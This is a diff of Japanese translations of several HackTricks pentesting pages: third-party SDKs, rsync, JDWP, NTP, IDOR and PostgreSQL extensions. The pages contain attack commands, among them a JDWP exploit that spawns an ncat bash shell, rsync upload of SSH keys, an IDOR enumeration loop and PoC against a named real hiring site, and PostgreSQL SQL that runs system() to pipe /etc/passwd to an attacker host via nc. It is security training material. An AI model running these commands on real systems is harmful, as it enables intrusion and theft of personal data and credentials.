**3rd party SDKs**に関する重要な課題は、その機能に対する**詳細な制御の欠如**です。開発者は、SDKを統合してそのすべての機能を受け入れるか、潜在的なセキュリティ脆弱性やプライバシーの懸念を含めて、またはその利点を完全に放棄するかの選択を迫られます。多くの場合、開発者はこれらのSDK内の脆弱性を自分でパッチすることができません。さらに、SDKがコミュニティ内で信頼を得るにつれて、一部はマルウェアを含む可能性があります。
|
||||
**3rdパーティSDK**に関する重要な課題は、その機能に対する**詳細な制御の欠如**です。開発者は、SDKを統合してそのすべての機能を受け入れるか、潜在的なセキュリティ脆弱性やプライバシーの懸念を含めて、完全にその利点を放棄するかの選択を迫られます。多くの場合、開発者はこれらのSDK内の脆弱性を自分で修正することができません。さらに、SDKがコミュニティ内で信頼を得るにつれて、一部はマルウェアを含む可能性があります。
|
||||
|
||||
サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者はこれらのライブラリによって実行されるコードを完全に把握していない可能性があり、プライバシーやセキュリティのリスクが生じる可能性があります。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。
|
||||
サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者がこれらのライブラリによって実行されるコードを完全に把握していない可能性があるため、プライバシーやセキュリティのリスクが生じます。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。
|
||||
|
||||
サードパーティサービスの実装は通常、スタンドアロンライブラリまたは完全なSDKの2つの形式で行われます。ユーザーのプライバシーを保護するために、これらのサービスと共有されるデータは、個人を特定できる情報(PII)の開示を防ぐために**匿名化**されるべきです。
|
||||
|
||||
アプリケーションが使用するライブラリを特定するために、**`otool`**コマンドを使用できます。このツールは、アプリケーションとそれが使用する各共有ライブラリに対して実行され、追加のライブラリを発見します。
|
||||
アプリケーションが使用しているライブラリを特定するために、**`otool`**コマンドを使用できます。このツールは、アプリケーションとそれが使用する各共有ライブラリに対して実行され、追加のライブラリを発見します。
|
||||
```bash
|
||||
otool -L <application_path>
|
||||
```
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
> **rsync** は、コンピュータと外部ハードドライブ間、または [ネットワーク化された](https://en.wikipedia.org/wiki/Computer_network) [コンピュータ](https://en.wikipedia.org/wiki/Computer) 間で、ファイルの [変更時間](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) とサイズを比較することによって、効率的に [転送](https://en.wikipedia.org/wiki/File_transfer) および [同期](https://en.wikipedia.org/wiki/File_synchronization) するためのユーティリティです。[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) 一般的に [Unix系](https://en.wikipedia.org/wiki/Unix-like) [オペレーティングシステム](https://en.wikipedia.org/wiki/Operating_system) で見られます。rsync アルゴリズムは [デルタエンコーディング](https://en.wikipedia.org/wiki/Delta_encoding) の一種であり、ネットワーク使用量を最小限に抑えるために使用されます。[Zlib](https://en.wikipedia.org/wiki/Zlib) は追加の [データ圧縮](https://en.wikipedia.org/wiki/Data_compression) に使用されることがあり、[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite_note-man_page-3) [SSH](https://en.wikipedia.org/wiki/Secure_Shell) または [stunnel](https://en.wikipedia.org/wiki/Stunnel) はセキュリティのために使用されることがあります。
|
||||
> **rsync** は、コンピュータと外部ハードドライブ間、または [ネットワーク化された](https://en.wikipedia.org/wiki/Computer_network) [コンピュータ](https://en.wikipedia.org/wiki/Computer) 間で、ファイルの [変更時間](<https://en.wikipedia.org/wiki/Timestamping_(computing)>) とサイズを比較することによって、効率的に [転送](https://en.wikipedia.org/wiki/File_transfer) および [同期](https://en.wikipedia.org/wiki/File_synchronization) するためのユーティリティです。[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) 一般的に [Unix系](https://en.wikipedia.org/wiki/Unix-like) [オペレーティングシステム](https://en.wikipedia.org/wiki/Operating_system) で見られます。rsync アルゴリズムは [デルタエンコーディング](https://en.wikipedia.org/wiki/Delta_encoding) の一種であり、ネットワーク使用量を最小限に抑えるために使用されます。[Zlib](https://en.wikipedia.org/wiki/Zlib) は追加の [データ圧縮](https://en.wikipedia.org/wiki/Data_compression) に使用されることがあり、[\[3\]](https://en.wikipedia.org/wiki/Rsync#_note-man_page-3) [SSH](https://en.wikipedia.org/wiki/Secure_Shell) または [stunnel](https://en.wikipedia.org/wiki/Stunnel) はセキュリティのために使用できます。
|
||||
|
||||
**デフォルトポート:** 873
|
||||
```
|
||||
@ -37,7 +37,7 @@ nc -vn 127.0.0.1 873
|
||||
raidroot
|
||||
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
|
||||
```
|
||||
### **共有フォルダの列挙**
|
||||
### **共有フォルダーの列挙**
|
||||
|
||||
**Rsyncモジュール**は、**パスワードで保護されている可能性のあるディレクトリ共有**として認識されます。利用可能なモジュールを特定し、それらがパスワードを必要とするかどうかを確認するために、次のコマンドが使用されます:
|
||||
```bash
|
||||
@ -47,13 +47,13 @@ msf> use auxiliary/scanner/rsync/modules_list
|
||||
# Example with IPv6 and alternate port
|
||||
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
|
||||
```
|
||||
いくつかの共有がリストに表示されない場合があり、それらが隠されている可能性があることに注意してください。さらに、一部の共有へのアクセスは特定の**資格情報**に制限されている場合があり、**「アクセス拒否」**メッセージで示されます。
|
||||
いくつかの共有がリストに表示されない場合があり、それらが隠されている可能性があります。さらに、一部の共有へのアクセスは特定の**credentials**に制限されている場合があり、**"Access Denied"**メッセージで示されます。
|
||||
|
||||
### [**ブルートフォース**](../generic-hacking/brute-force.md#rsync)
|
||||
|
||||
### 手動Rsyncの使用
|
||||
|
||||
**モジュールリスト**を取得した後、アクションは認証が必要かどうかによって異なります。認証がない場合、共有フォルダーからローカルディレクトリへの**リスト**および**コピー**は次のように実行されます:
|
||||
**モジュールリスト**を取得した後、アクションは認証が必要かどうかによって異なります。認証がない場合、共有フォルダからローカルディレクトリへの**リスト**および**コピー**は次のように実行されます:
|
||||
```bash
|
||||
# Listing a shared folder
|
||||
rsync -av --list-only rsync://192.168.0.123/shared_name
|
||||
@ -74,7 +74,7 @@ rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
|
||||
```
|
||||
## POST
|
||||
|
||||
rsyncd 設定ファイルを見つけるには、次のコマンドを実行します:
|
||||
rsyncdの設定ファイルを見つけるには、次のコマンドを実行します:
|
||||
```bash
|
||||
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
|
||||
```
|
||||
|
@ -14,38 +14,38 @@ JDWPの悪用は、**プロトコルの認証と暗号化の欠如**に依存し
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --cmd 'ncat -l -p 1337 -e /bin/bash' #Exec something
|
||||
./jdwp-shellifier.py -t 192.168.2.9 -p 8000 --break-on 'java.lang.String.indexOf' --cmd 'ncat -l -p 1337 -e /bin/bash' #Uses java.lang.String.indexOf as breakpoint instead of java.net.ServerSocket.accept
|
||||
```
|
||||
`--break-on 'java.lang.String.indexOf'` を使用すると、エクスプロイトがより**安定**します。また、ホストにバックドアをアップロードしてコマンドを実行する代わりにそれを実行する機会があれば、エクスプロイトはさらに安定します。
|
||||
`--break-on 'java.lang.String.indexOf'`を使用すると、エクスプロイトがより**安定**します。また、ホストにバックドアをアップロードしてコマンドを実行する代わりにそれを実行する機会があれば、エクスプロイトはさらに安定します。
|
||||
|
||||
## 詳細
|
||||
|
||||
**これは[https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)の要約です**。詳細については確認してください。
|
||||
|
||||
1. **JDWP 概要**:
|
||||
1. **JDWPの概要**:
|
||||
|
||||
- パケットベースのネットワークバイナリプロトコルで、主に同期的です。
|
||||
- 認証と暗号化が欠如しており、敵対的なネットワークにさらされると脆弱です。
|
||||
|
||||
2. **JDWP ハンドシェイク**:
|
||||
2. **JDWPハンドシェイク**:
|
||||
|
||||
- 通信を開始するためにシンプルなハンドシェイクプロセスが使用されます。デバッガ(クライアント)とデバッグ対象(サーバー)間で14文字のASCII文字列「JDWP-Handshake」が交換されます。
|
||||
|
||||
3. **JDWP 通信**:
|
||||
3. **JDWP通信**:
|
||||
|
||||
- メッセージは、Length、Id、Flag、CommandSetなどのフィールドを持つシンプルな構造です。
|
||||
- CommandSetの値は0x40から0x80までで、異なるアクションやイベントを表します。
|
||||
- CommandSetの値は0x40から0x80の範囲で、異なるアクションやイベントを表します。
|
||||
|
||||
4. **エクスプロイト**:
|
||||
|
||||
- JDWPは任意のクラスとバイトコードをロードおよび呼び出すことを許可し、セキュリティリスクを引き起こします。
|
||||
- 記事では、Java Runtimeの参照を取得し、ブレークポイントを設定し、メソッドを呼び出すという5つのステップからなるエクスプロイトプロセスが詳述されています。
|
||||
- 記事では、Java Runtimeの参照を取得し、ブレークポイントを設定し、メソッドを呼び出す5つのステップからなるエクスプロイトプロセスが詳述されています。
|
||||
|
||||
5. **実際のエクスプロイト**:
|
||||
|
||||
- ファイアウォール保護の可能性にもかかわらず、JDWPサービスは発見可能で、ShodanHQやGitHubなどのプラットフォームでの検索によって実際のシナリオでエクスプロイト可能です。
|
||||
- ファイアウォールの保護がある可能性があるにもかかわらず、JDWPサービスは発見可能で、ShodanHQやGitHubなどのプラットフォームでの検索によって実際のシナリオでエクスプロイト可能です。
|
||||
- エクスプロイトスクリプトはさまざまなJDKバージョンに対してテストされており、プラットフォームに依存せず、信頼性のあるリモートコード実行(RCE)を提供します。
|
||||
|
||||
6. **セキュリティの影響**:
|
||||
- インターネット上のオープンなJDWPサービスの存在は、定期的なセキュリティレビュー、プロダクションでのデバッグ機能の無効化、および適切なファイアウォール設定の必要性を強調しています。
|
||||
- インターネット上のオープンなJDWPサービスの存在は、定期的なセキュリティレビュー、プロダクション環境でのデバッグ機能の無効化、適切なファイアウォール設定の必要性を強調しています。
|
||||
|
||||
### **参考文献:**
|
||||
|
||||
@ -56,7 +56,7 @@ JDWPの悪用は、**プロトコルの認証と暗号化の欠如**に依存し
|
||||
- [http://www.shodanhq.com/search?q=JDWP-HANDSHAKE](http://www.shodanhq.com/search?q=JDWP-HANDSHAKE)
|
||||
- http://www.hsc-news.com/archives/2013/000109.html (no longer active)
|
||||
- [http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt](http://packetstormsecurity.com/files/download/122525/JDWP-exploitation.txt)
|
||||
- https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults
|
||||
- [https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults](https://github.com/search?q=-Xdebug+-Xrunjdwp\&type=Code\&ref=searchresults)
|
||||
- [http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html](http://docs.oracle.com/javase/6/docs/api/java/lang/Runtime.html)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html](http://docs.oracle.com)
|
||||
- [http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html](http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp/jdwp-protocol.html)
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本情報
|
||||
|
||||
**ネットワーク時間プロトコル (NTP)** は、可変遅延ネットワーク上のコンピュータやネットワークデバイスが時計を正確に同期させることを保証します。これは、IT運用、セキュリティ、ログ記録において正確な時間管理を維持するために重要です。時間はほぼすべての認証、暗号プロトコル、法医学プロセスで使用されるため、**NTPに影響を与えることができる攻撃者は、しばしばセキュリティ制御を回避したり、攻撃の調査を困難にすることができます。**
|
||||
**ネットワーク時間プロトコル (NTP)** は、可変遅延ネットワーク上のコンピュータやネットワークデバイスが正確に時計を同期させることを保証します。これは、IT運用、セキュリティ、ログ記録において正確な時間管理を維持するために重要です。時間はほぼすべての認証、暗号プロトコル、法医学プロセスで使用されるため、**NTPに影響を与えることができる攻撃者は、しばしばセキュリティ制御を回避したり、攻撃の調査を困難にすることができます。**
|
||||
|
||||
### 概要とセキュリティのヒント
|
||||
|
||||
@ -14,8 +14,8 @@
|
||||
- 認証付きの信頼できるNTPまたはNTS(ネットワーク時間セキュリティ)ソースを使用する。
|
||||
- デーモンにクエリ/コマンドを送信できるユーザーを制限する(``restrict default noquery``, ``kod`` など)。
|
||||
- レガシーのモード6/7制御クエリ(``monlist``, ``ntpdc``)を無効にするか、レート制限をかける。
|
||||
- 同期のドリフト/リープ秒状態を監視して改ざんを検出する。
|
||||
- デーモンを最新の状態に保つ(以下の最近のCVEを参照)。
|
||||
- 改ざんのために同期のドリフト/リープ秒状態を監視する。
|
||||
- デーモンを最新の状態に保つ(下記の最近のCVEを参照)。
|
||||
|
||||
**デフォルトポート**
|
||||
```
|
||||
@ -61,7 +61,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
|
||||
# Explicit monlist check
|
||||
nmap -sU -p123 --script ntp-monlist <IP>
|
||||
```
|
||||
### 大規模/インターネットスキャン
|
||||
### 大規模/インターネットスキャンニング
|
||||
```bash
|
||||
# Check if MONLIST is enabled (zgrab2 module)
|
||||
zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv"
|
||||
@ -80,29 +80,29 @@ zgrab2 ntp --monlist --timeout 3 --output-file monlist.json -f "zmap_results.csv
|
||||
|
||||
| 年 | CVE | コンポーネント | 影響 |
|
||||
|------|-----|-----------|--------|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | **ntpq** 応答を介して到達可能な複数のバッファオーバーフロー書き込み。**4.2.8p16** でパッチ 🡒 アップグレードまたはバックポート修正。 citeturn1search1turn1search2turn1search0|
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust 実装) | 形式が不正な **NTS** クッキーがリモート **DoS** を引き起こす v0.3.3 前 – NTS **無効** の場合でもポート 123 に影響。 citeturn4view0|
|
||||
| 2024 | ディストリビューションの更新 | **chrony 4.4 / 4.5** – 複数のセキュリティ強化 & NTS-KE 修正 (例: SUSE-RU-2024:2022) citeturn2search2|
|
||||
| 2024 | DDoS 記録 | Cloudflare が **5.6 Tbps UDP リフレクション** 攻撃を報告 (使用されたプロトコルの中に NTP が含まれる)。インターネットに面したホストでは *monitor* & *monlist* を無効にしておく。 citeturn5search0|
|
||||
| 2023 | **CVE-2023-26551→26555** | ntp 4.2.8p15 (libntp *mstolfp*, *praecis_parse*) | **ntpq** 応答を介して到達可能な複数のバッファオーバーフロー書き込み。**4.2.8p16** でパッチ 🡒 アップグレードまたはバックポート修正。 |
|
||||
| 2023 | **CVE-2023-33192** | **ntpd-rs** (Rust 実装) | 形式が不正な **NTS** クッキーがリモート **DoS** を引き起こす v0.3.3 より前 – NTS **無効** の場合でもポート 123 に影響。 |
|
||||
| 2024 | ディストリビューションの更新 | **chrony 4.4 / 4.5** – 複数のセキュリティ強化 & NTS-KE 修正 (例: SUSE-RU-2024:2022) |
|
||||
| 2024 | 記録的 DDoS | Cloudflare が **5.6 Tbps UDP リフレクション** 攻撃を報告 (使用されたプロトコルの中に NTP が含まれる)。インターネットに面したホストでは *monitor* & *monlist* を無効にしておく。 |
|
||||
|
||||
> **エクスプロイトキット**: 2023 ntpq OOB 書き込みシリーズの概念実証ペイロードが GitHub にあり (Meinberg の記事を参照)、システム管理者のクライアントサイドフィッシングに武器化可能。 citeturn1search4
|
||||
> **エクスプロイトキット**: 2023 年の ntpq OOB 書き込みシリーズの概念実証ペイロードは GitHub にあり (Meinberg の記事を参照)、システム管理者のクライアントサイドフィッシングに武器化可能。
|
||||
|
||||
---
|
||||
## 高度な攻撃
|
||||
|
||||
### 1. NTP 増幅 / リフレクション
|
||||
|
||||
レガシー Mode-7 ``monlist`` クエリは最大 **600 ホストアドレス** を返し、数千のインターネットホストにまだ存在します。応答 (428-468 バイト/エントリ) は 8 バイトのリクエストの *~ 200×* 大きいため、攻撃者は三桁の増幅係数に達することができます。緩和策:
|
||||
レガシーの Mode-7 ``monlist`` クエリは最大 **600 ホストアドレス** を返し、数千のインターネットホストにまだ存在します。応答 (428-468 バイト/エントリ) は 8 バイトのリクエストの *~ 200×* 大きいため、攻撃者は三桁の増幅係数に達することができます。緩和策:
|
||||
|
||||
- ntp 4.2.8p15+ にアップグレードし、``disable monitor`` を **追加** します。
|
||||
- エッジで UDP/123 のレート制限を行うか、DDoS アプライアンスで *sessions-required* を有効にします。
|
||||
- ソーススプーフィングをブロックするために *BCP 38* 出口フィルタリングを有効にします。
|
||||
- ntp 4.2.8p15+ にアップグレードし、``disable monitor`` を **追加** する。
|
||||
- エッジで UDP/123 のレート制限を行うか、DDoS アプライアンスで *sessions-required* を有効にする。
|
||||
- ソーススプーフィングをブロックするために *BCP 38* 出口フィルタリングを有効にする。
|
||||
|
||||
Cloudflare の学習センターの記事を参照して、ステップバイステップの内訳を確認してください。 citeturn5search1
|
||||
Cloudflare の学習センターの記事を参照して、ステップバイステップの内訳を確認してください。
|
||||
|
||||
### 2. 時間シフト / 遅延攻撃 (Khronos / Chronos 研究)
|
||||
|
||||
認証があっても、経路上の攻撃者はパケットをドロップまたは遅延させることでクライアントの時計を静かに **シフト** させることができます。IETF **Khronos (以前の Chronos) ドラフト** は、バックグラウンドで多様なサーバーにクエリを行い、シフト > 𝚡 ms を検出するために結果をサニティチェックすることを提案しています。最新の chrony (4.4+) はすでに類似のサニティフィルター (``maxdistance`` / ``maxjitter``) を実装しています。 citeturn9search1
|
||||
認証があっても、経路上の攻撃者はパケットをドロップまたは遅延させることでクライアントの時計を静かに **シフト** させることができます。IETF **Khronos (以前の Chronos) ドラフト** は、バックグラウンドで多様なサーバーにクエリを行い、シフト > 𝚡 ms を検出するために結果をサニティチェックすることを提案しています。最新の chrony (4.4+) はすでに類似のサニティフィルター (``maxdistance`` / ``maxjitter``) を実装しています。
|
||||
|
||||
### 3. NTS 悪用 & 4460/tcp 露出
|
||||
|
||||
@ -114,20 +114,20 @@ nmap -sV -p 4460 --script ssl-enum-ciphers,ssl-cert <IP>
|
||||
# Grab banner & ALPN
|
||||
openssl s_client -connect <IP>:4460 -alpn ntske/1 -tls1_3 -ign_eof
|
||||
```
|
||||
自己署名または期限切れの証明書と弱い暗号スイート(非AEAD)を探します。参照: RFC 8915 §4. citeturn11search0
|
||||
自己署名または期限切れの証明書と弱い暗号スイート(非AEAD)を探します。参照: RFC 8915 §4。
|
||||
|
||||
---
|
||||
## ハードニング / ベスト・カレント・プラクティス (BCP-233 / RFC 8633)
|
||||
|
||||
*オペレーターは次のことを推奨します:*
|
||||
|
||||
1. **≥ 4** の独立した多様な時間ソース(公共プール、GPS、PTPブリッジ)を使用して、単一ソースの汚染を避けること。
|
||||
2. ``kod`` および ``limited``/``nomodify`` 制限を有効にして、悪用するクライアントが完全な応答の代わりに **Kiss-o'-Death** レート制限パケットを受け取るようにすること。
|
||||
3. デーモンログを監視して **panic** イベントやステップ調整 > 1000 s を確認すること。(RFC 8633 §5.3 による攻撃の兆候。)
|
||||
4. リープ秒の停止を避けるために **leap-smear** を検討するが、*すべての* 下流クライアントが同じスミアウィンドウを使用することを確認すること。
|
||||
5. リープ秒フラグを見逃さないように、ポーリングを ≤24 h に保つこと。
|
||||
1. **≥ 4** の独立した多様な時間ソース(公共プール、GPS、PTPブリッジ)を使用して、単一ソースの汚染を避ける。
|
||||
2. ``kod`` と ``limited``/``nomodify`` 制限を有効にして、悪用するクライアントが完全な応答の代わりに **Kiss-o'-Death** レート制限パケットを受け取るようにする。
|
||||
3. デーモンログを監視して **panic** イベントやステップ調整 > 1000 s を確認する。(RFC 8633 §5.3 による攻撃の兆候。)
|
||||
4. リープ秒の停止を避けるために **leap-smear** を検討するが、*すべての* 下流クライアントが同じスミアウィンドウを使用していることを確認する。
|
||||
5. リープ秒フラグを見逃さないように、ポーリングを ≤24 h に保つ。
|
||||
|
||||
包括的なチェックリストについては RFC 8633 を参照してください。 citeturn8search0turn8search1
|
||||
包括的なチェックリストについては RFC 8633 を参照してください。
|
||||
|
||||
---
|
||||
## Shodan / Censys Dorks
|
||||
@ -169,14 +169,14 @@ Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or bru
|
||||
---
|
||||
## 参考文献
|
||||
|
||||
- RFC 8915 – *Network Time Security for the Network Time Protocol* (port 4460) citeturn11search0
|
||||
- RFC 8633 – *Network Time Protocol BCP* citeturn8search0
|
||||
- Cloudflare DDoS report 2024 Q4 (5.6 Tbps) citeturn5search0
|
||||
- Cloudflare *NTP Amplification Attack* article citeturn5search1
|
||||
- NTP 4.2.8p15 CVE series 2023-04 citeturn1search4
|
||||
- NVD entries **CVE-2023-26551–55**, **CVE-2023-33192** citeturn1search1turn1search2turn1search0turn4view0
|
||||
- SUSE chrony security update 2024 (chrony 4.5) citeturn2search2
|
||||
- Khronos/Chronos draft (time-shift mitigation) citeturn9search1
|
||||
- chronyc manual/examples for remote monitoring citeturn3search0turn10search1
|
||||
- zgrab2 ntp module docs citeturn7search0
|
||||
- RFC 8915 – *ネットワーク時間プロトコルのためのネットワーク時間セキュリティ* (ポート 4460)
|
||||
- RFC 8633 – *ネットワーク時間プロトコル BCP*
|
||||
- Cloudflare DDoS レポート 2024 Q4 (5.6 Tbps)
|
||||
- Cloudflare *NTP 増幅攻撃* 記事
|
||||
- NTP 4.2.8p15 CVE シリーズ 2023-04
|
||||
- NVD エントリ **CVE-2023-26551–55**, **CVE-2023-33192**
|
||||
- SUSE chrony セキュリティアップデート 2024 (chrony 4.5)
|
||||
- Khronos/Chronos ドラフト (時間シフト緩和)
|
||||
- chronyc マニュアル/リモートモニタリング用の例
|
||||
- zgrab2 ntp モジュールドキュメント
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -1,5 +1,85 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**投稿を確認してください: [https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
# IDOR (Insecure Direct Object Reference)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、ウェブまたはAPIエンドポイントが、**直接的に**内部オブジェクトにアクセスするために使用されるユーザー制御可能な識別子を開示または受け入れるときに発生します。**呼び出し元がそのオブジェクトにアクセス/変更する権限があるかどうかを確認せずに**。成功した悪用は通常、他のユーザーのデータを読み取ったり変更したりするような水平または垂直の特権昇格を可能にし、最悪の場合、完全なアカウントの乗っ取りや大量データの流出を引き起こします。
|
||||
|
||||
---
|
||||
## 1. 潜在的なIDORの特定
|
||||
|
||||
1. **オブジェクトを参照するパラメータ**を探します:
|
||||
* パス: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
|
||||
* クエリ: `?id=42`, `?invoice=2024-00001`
|
||||
* ボディ / JSON: `{"user_id": 321, "order_id": 987}`
|
||||
* ヘッダー / クッキー: `X-Client-ID: 4711`
|
||||
2. データを**読み取るまたは更新する**エンドポイントを優先します(`GET`, `PUT`, `PATCH`, `DELETE`)。
|
||||
3. 識別子が**連続的または予測可能**である場合に注意します – あなたのIDが`64185742`であれば、`64185741`はおそらく存在します。
|
||||
4. 追加のAPIを露出させる可能性のある隠れたまたは代替のフロー(例: ログインページの*"Paradox team members"*リンク)を探ります。
|
||||
5. **認証された低特権セッション**を使用し、同じトークン/クッキーを保持しながらIDのみを変更します。認可エラーがないことは通常、IDORの兆候です。
|
||||
|
||||
### クイック手動改ざん (Burp Repeater)
|
||||
```
|
||||
PUT /api/lead/cem-xhr HTTP/1.1
|
||||
Host: www.example.com
|
||||
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
|
||||
Content-Type: application/json
|
||||
|
||||
{"lead_id":64185741}
|
||||
```
|
||||
### 自動列挙 (Burp Intruder / curl ループ)
|
||||
```bash
|
||||
for id in $(seq 64185742 64185700); do
|
||||
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H "Cookie: auth=$TOKEN" \
|
||||
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
|
||||
done
|
||||
```
|
||||
---
|
||||
## 2. 実世界のケーススタディ – McHire チャットボットプラットフォーム (2025)
|
||||
|
||||
Paradox.aiを利用した**McHire**採用ポータルの評価中に、以下のIDORが発見されました:
|
||||
|
||||
* エンドポイント: `PUT /api/lead/cem-xhr`
|
||||
* 認証: **任意の**レストランテストアカウントのユーザーセッションクッキー
|
||||
* ボディパラメータ: `{"lead_id": N}` – 8桁の**連続した**数値識別子
|
||||
|
||||
`lead_id`を減少させることで、テスターは任意の応募者の**完全なPII**(名前、メール、電話、住所、シフトの希望)とセッションハイジャックを可能にする消費者**JWT**を取得しました。範囲`1 – 64,185,742`の列挙により、約**6400万**件のレコードが露出しました。
|
||||
|
||||
概念実証リクエスト:
|
||||
```bash
|
||||
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"lead_id":64185741}'
|
||||
```
|
||||
**デフォルトの管理者資格情報** (`123456:123456`) と組み合わせることで、テストアカウントへのアクセスが許可され、この脆弱性は重大な企業全体のデータ漏洩を引き起こしました。
|
||||
|
||||
---
|
||||
## 3. IDOR / BOLAの影響
|
||||
* 水平的エスカレーション – **他のユーザーの**データを読み取り/更新/削除。
|
||||
* 垂直的エスカレーション – 権限の低いユーザーが管理者専用の機能を取得。
|
||||
* 識別子が連続している場合(例:応募者ID、請求書)に大規模なデータ漏洩。
|
||||
* トークンを盗むか、他のユーザーのパスワードをリセットすることでアカウントを乗っ取る。
|
||||
|
||||
---
|
||||
## 4. 緩和策とベストプラクティス
|
||||
1. **オブジェクトレベルの認可**をすべてのリクエストに強制する (`user_id == session.user`)。
|
||||
2. 自動インクリメントIDの代わりに**間接的で推測不可能な識別子**(UUIDv4、ULID)を好む。
|
||||
3. 認可を**サーバーサイド**で実行し、隠しフォームフィールドやUIコントロールに依存しない。
|
||||
4. 中央ミドルウェアで**RBAC / ABAC**チェックを実装する。
|
||||
5. IDの列挙を検出するために**レート制限とログ記録**を追加する。
|
||||
6. 新しいエンドポイントごとにセキュリティテストを実施する(ユニット、統合、DAST)。
|
||||
|
||||
---
|
||||
## 5. ツール
|
||||
* **BurpSuite拡張機能**: Authorize, Auto Repeater, Turbo Intruder.
|
||||
* **OWASP ZAP**: Auth Matrix, Forced Browse.
|
||||
* **Githubプロジェクト**: `bwapp-idor-scanner`, `Blindy`(バルクIDORハンティング)。
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 参考文献
|
||||
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII](https://ian.sh/mcdonalds)
|
||||
* [OWASP Top 10 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
|
||||
* [How to Find More IDORs – Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
@ -8,13 +8,13 @@ PostgreSQLは、拡張性をコア機能として開発されており、拡張
|
||||
|
||||
バージョン8.1以降、拡張ライブラリには特定の要件が課せられています:特別なヘッダーでコンパイルされなければなりません。これがないと、PostgreSQLはそれらを実行せず、互換性があり、潜在的に安全な拡張機能のみが使用されることを保証します。
|
||||
|
||||
また、**PostgreSQLを悪用して被害者にファイルをアップロードする方法がわからない場合は、[この投稿を読むべきです。](big-binary-files-upload-postgresql.md)**
|
||||
また、**もしあなたが** [**PostgreSQLを悪用して被害者にファイルをアップロードする方法を知らない場合は、この投稿を読むべきです。**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE in Linux
|
||||
|
||||
**詳細については、[https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)を確認してください。**
|
||||
**詳細については、次を確認してください: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||||
|
||||
PostgreSQL 8.1およびそれ以前のバージョンからのシステムコマンドの実行は、明確に文書化されており、簡単なプロセスです。これを使用することが可能です:[Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload)。
|
||||
PostgreSQL 8.1およびそれ以前のバージョンからのシステムコマンドの実行は、明確に文書化されており、簡単なプロセスです。これを使用することが可能です: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||||
@ -26,9 +26,9 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary>Write binary file from base64</summary>
|
||||
<summary>Base64からバイナリファイルを書く</summary>
|
||||
|
||||
Postgresでバイナリをファイルに書き込むには、base64を使用する必要があるかもしれません。これはそのために役立ちます:
|
||||
Postgresでバイナリをファイルに書き込むには、base64を使用する必要があるかもしれません。これがそのために役立ちます:
|
||||
```sql
|
||||
